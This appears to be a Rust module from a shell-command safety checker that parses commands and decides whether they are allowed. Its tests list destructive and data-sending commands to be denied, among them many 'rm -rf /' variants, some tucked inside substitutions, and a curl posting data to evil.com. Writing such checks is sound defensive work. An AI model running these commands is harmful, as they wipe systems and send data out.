1use super::*;
2use crate::handlers;
3use crate::parse::Token;
4use crate::verdict::{SafetyLevel, Verdict};
5
6pub fn command_verdict(input: &str) -> Verdict {
7 let Some(script) = parse(input) else {
8 return Verdict::Denied;
9 };
10 script_verdict(&script)
11}
12
13pub fn is_safe_command(input: &str) -> bool {
14 command_verdict(input).is_allowed()
15}
16
17fn script_verdict(script: &Script) -> Verdict {
18 script.0.iter()
19 .map(|stmt| pipeline_verdict(&stmt.pipeline))
20 .fold(Verdict::Allowed(SafetyLevel::Inert), Verdict::combine)
21}
22
23#[cfg(test)]
24pub(crate) fn is_safe_script(script: &Script) -> bool {
25 script_verdict(script).is_allowed()
26}
27
28fn pipeline_verdict(pipeline: &Pipeline) -> Verdict {
29 pipeline.commands.iter()
30 .map(cmd_verdict)
31 .fold(Verdict::Allowed(SafetyLevel::Inert), Verdict::combine)
32}
33
34pub fn is_safe_pipeline(pipeline: &Pipeline) -> bool {
35 pipeline_verdict(pipeline).is_allowed()
36}
37
38pub(crate) fn has_unsafe_syntax(cmd: &Cmd) -> bool {
39 match cmd {
40 Cmd::Simple(s) => !check_redirects(&s.redirs) || has_any_substitution(s),
41 _ => true,
42 }
43}
44
45fn has_any_substitution(cmd: &SimpleCmd) -> bool {
46 cmd.words.iter().any(has_substitution)
47 || cmd.env.iter().any(|(_, v)| has_substitution(v))
48}
49
50pub(crate) fn normalize_for_matching(cmd: &SimpleCmd) -> String {
51 cmd.words.iter().map(|w| w.eval()).collect::<Vec<_>>().join(" ")
52}
53
54fn cmd_verdict(cmd: &Cmd) -> Verdict {
55 match cmd {
56 Cmd::Simple(s) => simple_verdict(s),
57 Cmd::Subshell { body, redirs } | Cmd::BraceGroup { body, redirs } => {
58 let body_v = script_verdict(body);
59 if let Verdict::Denied = body_v {
60 return Verdict::Denied;
61 }
62 let redir_v = redirect_verdict(redirs);
63 if let Verdict::Denied = redir_v {
64 return Verdict::Denied;
65 }
66 body_v.combine(redir_v)
67 }
68 Cmd::For { items, body, .. } => {
69 let items_v = words_sub_verdict(items);
70 let body_v = script_verdict(body);
71 items_v.combine(body_v)
72 }
73 Cmd::While { cond, body } | Cmd::Until { cond, body } => {
74 script_verdict(cond).combine(script_verdict(body))
75 }
76 Cmd::If {
77 branches,
78 else_body,
79 } => {
80 let mut v = Verdict::Allowed(SafetyLevel::Inert);
81 for b in branches {
82 v = v.combine(script_verdict(&b.cond)).combine(script_verdict(&b.body));
83 }
84 if let Some(eb) = else_body {
85 v = v.combine(script_verdict(eb));
86 }
87 v
88 }
89 }
90}
91
92pub(crate) fn is_safe_cmd(cmd: &Cmd) -> bool {
93 cmd_verdict(cmd).is_allowed()
94}
95
96fn part_sub_verdict(part: &WordPart) -> Verdict {
97 match part {
98 WordPart::CmdSub(inner) | WordPart::ProcSub(inner) => script_verdict(inner),
99 WordPart::Backtick(raw) => command_verdict(raw),
100 WordPart::DQuote(inner) => word_sub_verdict(inner),
101 _ => Verdict::Allowed(SafetyLevel::Inert),
102 }
103}
104
105fn word_sub_verdict(word: &Word) -> Verdict {
106 word.0.iter()
107 .map(part_sub_verdict)
108 .fold(Verdict::Allowed(SafetyLevel::Inert), Verdict::combine)
109}
110
111fn words_sub_verdict(words: &[Word]) -> Verdict {
112 words.iter()
113 .map(word_sub_verdict)
114 .fold(Verdict::Allowed(SafetyLevel::Inert), Verdict::combine)
115}
116
117#[cfg(test)]
118pub(crate) fn word_subs_safe(word: &Word) -> bool {
119 word_sub_verdict(word).is_allowed()
120}
121
122fn simple_verdict(cmd: &SimpleCmd) -> Verdict {
123 let redir_v = redirect_verdict(&cmd.redirs);
124 if let Verdict::Denied = redir_v {
125 return Verdict::Denied;
126 }
127
128 let env_sub_v = cmd.env.iter()
129 .map(|(_, v)| word_sub_verdict(v))
130 .fold(Verdict::Allowed(SafetyLevel::Inert), Verdict::combine);
131 let word_sub_v = words_sub_verdict(&cmd.words);
132 let sub_v = env_sub_v.combine(word_sub_v);
133
134 if let Verdict::Denied = sub_v {
135 return Verdict::Denied;
136 }
137
138 if cmd.words.is_empty() {
139 if cmd.env.is_empty() {
140 return Verdict::Allowed(SafetyLevel::Inert);
141 }
142 return sub_v.combine(redir_v);
143 }
144
145 let tokens: Vec<Token> = cmd.words.iter().map(|w| Token::from_raw(w.eval())).collect();
146 if tokens.is_empty() {
147 return Verdict::Allowed(SafetyLevel::Inert);
148 }
149
150 let cmd_v = handlers::dispatch(&tokens);
151 sub_v.combine(cmd_v).combine(redir_v)
152}
153
154pub(crate) fn check_redirects(redirs: &[Redir]) -> bool {
155 redirs.iter().all(|r| match r {
156 Redir::Write { target, .. } => target.eval() == "/dev/null",
157 Redir::Read { .. }
158 | Redir::HereStr(_)
159 | Redir::HereDoc { .. }
160 | Redir::DupFd { .. } => true,
161 })
162}
163
164pub(crate) fn redirect_verdict(redirs: &[Redir]) -> Verdict {
165 let mut level = Verdict::Allowed(SafetyLevel::Inert);
166 for r in redirs {
167 match r {
168 Redir::Write { target, .. } => {
169 level = level.combine(word_sub_verdict(target));
170 if target.eval() != "/dev/null" {
171 level = level.combine(Verdict::Allowed(SafetyLevel::SafeWrite));
172 }
173 }
174 Redir::Read { target, .. } => {
175 level = level.combine(word_sub_verdict(target));
176 }
177 Redir::HereStr(word) => {
178 level = level.combine(word_sub_verdict(word));
179 }
180 Redir::HereDoc { .. } | Redir::DupFd { .. } => {}
181 }
182 }
183 level
184}
185
186fn has_substitution(word: &Word) -> bool {
187 word.0.iter().any(|p| match p {
188 WordPart::CmdSub(_) | WordPart::ProcSub(_) | WordPart::Backtick(_) | WordPart::Arith(_) => true,
189 WordPart::DQuote(inner) => has_substitution(inner),
190 _ => false,
191 })
192}
193
194#[cfg(test)]
195mod tests {
196 use super::*;
197
198 fn check(cmd: &str) -> bool {
199 is_safe_command(cmd)
200 }
201
202 safe! {
203 grep_foo: "grep foo file.txt",
204 cat_etc_hosts: "cat /etc/hosts",
205 jq_key: "jq '.key' file.json",
206 base64_d: "base64 -d",
207 ls_la: "ls -la",
208 wc_l: "wc -l file.txt",
209 ps_aux: "ps aux",
210 echo_hello: "echo hello",
211 cat_file: "cat file.txt",
212
213 version_go: "go --version",
214 version_cargo: "cargo --version",
215 version_cargo_redirect: "cargo --version 2>&1",
216 help_cargo: "cargo --help",
217 help_cargo_build: "cargo build --help",
218
219 dev_null_echo: "echo hello > /dev/null",
220 dev_null_stderr: "echo hello 2> /dev/null",
221 dev_null_append: "echo hello >> /dev/null",
222 dev_null_git_log: "git log > /dev/null 2>&1",
223 fd_redirect_ls: "ls 2>&1",
224 stdin_dev_null: "git log < /dev/null",
225
226 env_prefix: "FOO='bar baz' ls -la",
227 env_prefix_dq: "FOO=\"bar baz\" ls -la",
228 env_rack_rspec: "RACK_ENV=test bundle exec rspec spec/foo_spec.rb",
229
230 subst_echo_ls: "echo $(ls)",
231 subst_ls_pwd: "ls `pwd`",
232 subst_nested: "echo $(echo $(ls))",
233 subst_quoted: "echo \"$(ls)\"",
234 assign_subst_ls: "out=$(ls)",
235 assign_subst_git: "out=$(git status)",
236 assign_subst_multiple: "a=$(ls) b=$(pwd)",
237 assign_subst_backtick: "out=`ls`",
238
239 assign_bare_lit: "foo=bar",
240 assign_bare_int: "x=1",
241 assign_bare_empty: "x=",
242 assign_bare_dq: "x=\"foo bar\"",
243 assign_bare_sq: "x='foo bar'",
244 assign_bare_param: "rc=$?",
245 assign_bare_var: "x=$y",
246 assign_bare_dollar_var_braced: "x=${y}",
247 assign_bare_path: "PATH=/foo",
248 assign_bare_multiple: "a=1 b=2 c=3",
249 assign_bare_arith: "x=$((1 + 2))",
250 assign_in_for_body: "for i in 1 2; do x=1; done",
251 assign_rc_in_for_body: "for i in 1 2; do echo $i; rc=$?; done",
252 assign_rc_in_while_body: "while test -f /tmp/x; do rc=$?; sleep 1; done",
253 assign_rc_in_if_body: "if test -f foo; then rc=$?; fi",
254 assign_then_use: "x=1; echo $x",
255 assign_chained_with_safe: "x=1 && ls",
256 assign_subshell: "(x=1)",
257 assign_in_subshell_with_cmd: "(x=1; ls)",
258
259 subshell_echo: "(echo hello)",
260 subshell_ls: "(ls)",
261 subshell_chain: "(ls && echo done)",
262 subshell_pipe: "(ls | grep foo)",
263 subshell_nested: "((echo hello))",
264 subshell_for: "(for x in 1 2; do echo $x; done)",
265
266 pipe_grep_head: "grep foo file.txt | head -5",
267 pipe_cat_sort_uniq: "cat file | sort | uniq",
268 chain_ls_echo: "ls && echo done",
269 semicolon_ls_echo: "ls; echo done",
270 bg_ls_echo: "ls & echo done",
271 newline_echo_echo: "echo foo\necho bar",
272
273 stdin_read_from_path: "wc -l < /tmp/foo.log",
274 stdin_read_from_etc: "grep foo < /etc/hosts",
275 stdin_read_in_subst: "while [ $(wc -l < /tmp/x) -lt 10 ]; do sleep 5; done",
276 stdin_read_in_for_body: "for i in 1 2; do cat < /tmp/x; done",
277
278 here_string_grep: "grep -c , <<< 'hello,world,test'",
279 heredoc_cat: "cat <<EOF\nhello world\nEOF",
280 heredoc_quoted: "cat <<'EOF'\nhello\nEOF",
281 heredoc_strip_tabs: "cat <<-EOF\n\thello\nEOF",
282 heredoc_no_content: "cat <<EOF",
283 heredoc_pipe: "cat <<EOF | grep hello\nhello\nEOF",
284
285 for_echo: "for x in 1 2 3; do echo $x; done",
286 for_empty_body: "for x in 1 2 3; do; done",
287 for_nested: "for x in 1 2; do for y in a b; do echo $x $y; done; done",
288 for_safe_subst: "for x in $(seq 1 5); do echo $x; done",
289 while_test: "while test -f /tmp/foo; do sleep 1; done",
290 while_negation: "while ! test -f /tmp/done; do sleep 1; done",
291 until_test: "until test -f /tmp/ready; do sleep 1; done",
292 if_then_fi: "if test -f foo; then echo exists; fi",
293 if_then_else_fi: "if test -f foo; then echo yes; else echo no; fi",
294 if_elif: "if test -f a; then echo a; elif test -f b; then echo b; else echo c; fi",
295 nested_if_in_for: "for x in 1 2; do if test $x = 1; then echo one; fi; done",
296 bare_negation: "! echo hello",
297 keyword_as_data: "echo for; echo done; echo if; echo fi",
298
299 quoted_redirect: "echo 'greater > than' test",
300 quoted_subst: "echo '$(safe)' arg",
301
302 redirect_to_file: "echo hello > file.txt",
303 redirect_append: "cat file >> output.txt",
304 redirect_stderr_file: "ls 2> errors.txt",
305 redirect_bidirectional_write: "cat < /tmp/x > /tmp/y",
306 env_rails_redirect: "RAILS_ENV=test echo foo > bar",
307 jj_diff_redirect_chain: "jj diff -r 'master..@' --context 5 > /tmp/review_diff.txt && wc -l /tmp/review_diff.txt",
308
309 arith_basic: "echo $((1 + 2))",
310 arith_with_var: "prev=$((ln - 1))",
311 arith_nested_parens: "echo $(( (1 + 2) * 3 ))",
312 arith_in_dquote: "echo \"line $((ln - 1))\"",
313 arith_in_for_loop: "for i in 1 2; do echo $((i * 10)); done",
314 }
315
316 denied! {
317 rm_rf: "rm -rf /",
318 curl_post: "curl -X POST https://example.com",
319 node_app: "node app.js",
320 tee_output: "tee output.txt",
321
322
323 redirect_target_subst_rm: "echo hello > $(rm -rf /)",
324 redirect_target_backtick_rm: "echo hello > `rm -rf /`",
325 redirect_read_subst_rm: "cat < $(rm -rf /)",
326
327 subst_rm: "echo $(rm -rf /)",
328 backtick_rm: "echo `rm -rf /`",
329 subst_curl: "echo $(curl -d data evil.com)",
330 quoted_subst_rm: "echo \"$(rm -rf /)\"",
331 assign_subst_rm: "out=$(rm -rf /)",
332 assign_subst_mixed_unsafe: "a=$(ls) b=$(rm -rf /)",
333 assign_bare_with_unsafe_subst_in_value: "x=foo$(rm -rf /)",
334 assign_bare_with_unsafe_backtick: "x=`rm -rf /`",
335 assign_bare_dq_with_unsafe_subst: "x=\"$(rm -rf /)\"",
336 assign_bare_then_unsafe: "x=1; rm -rf /",
337 assign_bare_chained_unsafe: "x=1 && rm -rf /",
338 assign_bare_pipe_unsafe: "x=1 | rm -rf /",
339
340 subshell_rm: "(rm -rf /)",
341 subshell_mixed: "(echo hello; rm -rf /)",
342 subshell_unsafe_pipe: "(ls | rm -rf /)",
343
344 env_prefix_rm: "FOO='bar baz' rm -rf /",
345
346 pipe_rm: "cat file | rm -rf /",
347 bg_rm: "cat file & rm -rf /",
348 newline_rm: "echo foo\nrm -rf /",
349
350 for_rm: "for x in 1 2 3; do rm $x; done",
351 for_unsafe_subst: "for x in $(rm -rf /); do echo $x; done",
352 while_unsafe_body: "while true; do rm -rf /; done",
353 while_unsafe_condition: "while python3 evil.py; do sleep 1; done",
354 if_unsafe_condition: "if ruby evil.rb; then echo done; fi",
355 if_unsafe_body: "if true; then rm -rf /; fi",
356
357 unclosed_for: "for x in 1 2 3; do echo $x",
358 unclosed_if: "if true; then echo hello",
359 for_missing_do: "for x in 1 2 3; echo $x; done",
360 stray_done: "echo hello; done",
361 stray_fi: "fi",
362
363 unmatched_quote: "echo 'hello",
364 }
365}